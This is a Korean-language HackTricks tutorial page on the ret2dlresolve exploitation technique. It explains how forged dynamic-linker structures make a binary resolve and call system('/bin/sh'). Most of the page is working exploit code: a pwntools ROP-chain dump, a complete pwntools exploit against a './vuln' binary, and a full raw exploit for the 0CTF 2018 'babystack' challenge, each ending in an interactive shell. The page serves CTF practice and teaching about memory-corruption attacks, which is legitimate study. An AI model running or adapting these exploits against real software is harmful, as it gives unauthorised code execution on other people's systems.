Ret2dlresolve
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
GOT/PLT와 Relro에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 외부 라이브러리에 대한 주소와 같은 기호를 해결합니다. 이 해결은 _dl_runtime_resolve
함수를 호출하여 발생합니다.
_dl_runtime_resolve
함수는 지정된 기호를 해결하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다.
따라서, 요청된 기호(예: system
함수)를 동적으로 연결된 해결을 위해 모든 이러한 구조체를 위조할 수 있으며, 구성된 매개변수(예: system('/bin/sh')
)로 호출할 수 있습니다.
일반적으로, 이러한 모든 구조체는 쓰기 가능한 메모리에서 read
를 호출하는 초기 ROP 체인을 만들어 위조됩니다. 그런 다음 구조체와 문자열 **'/bin/sh'
**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **_dl_runtime_resolve
**를 호출하여 가짜 구조체에서 system
의 주소를 해결하고 이 주소를 $'/bin/sh'
의 주소로 호출합니다.
tip
이 기술은 syscall 가젯이 없고(ret2syscall 또는 SROP와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다.
이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요:
또는 단계별 설명을 위해 다음 페이지를 확인하세요:
- https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
공격 요약
- 일부 위치에 가짜 구조체 작성
- system의 첫 번째 인수 설정 (
$rdi = &'/bin/sh'
) - **
_dl_runtime_resolve
**를 호출하기 위해 스택에 구조체의 주소 설정 - 호출
_dl_runtime_resolve
- **
system
**이 해결되고'/bin/sh'
를 인수로 호출됨
pwntools 문서에서, ret2dlresolve
공격이 어떻게 생겼는지 보여줍니다:
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
예제
순수 Pwntools
여기에서 이 기술의 예를 찾을 수 있습니다 최종 ROP 체인에 대한 매우 좋은 설명이 포함되어 있습니다, 하지만 여기 사용된 최종 익스플로잇은 다음과 같습니다:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
원시
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
from pwn import *
target = process('./babystack')
#gdb.attach(target)
elf = ELF('babystack')
# Establish starts of various sections
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
# Establish two functions
scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address
# Establish size of second payload
payload1_size = 43
# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug
payload0 = ""
payload0 += "0"*44 # Filler from start of input to return address
payload0 += p32(elf.symbols['read']) # Return read
payload0 += scanInput # After the read call, return to scan input
payload0 += p32(0) # Read via stdin
payload0 += p32(bss) # Scan into the start of the bss
payload0 += p32(payload1_size) # How much data to scan in
target.send(payload0)
# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack
# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7
# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr
paylaod1 = ""
# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)
# Empty
paylaod1 += p32(0x0)
# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3
# Our dynstr entry
paylaod1 += "system\x00"
# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"
target.send(paylaod1)
# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system
# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35
# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt
paylaod2 = ""
paylaod2 += "0"*44
paylaod2 += resolve # 0x80482f0
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
target.send(paylaod2)
# Enjoy the shell!
target.interactive()
다른 예제 및 참고자료
- https://youtu.be/ADULSwnQs-s
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
- https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof를 사용하여
.bss
섹션과 더 큰 크기로read
를 다시 호출하여dlresolve
가짜 테이블을 저장하고system
을 로드한 후 main으로 돌아가 초기 bof를 재사용하여 dlresolve를 호출하고system('/bin/sh')
를 실행합니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.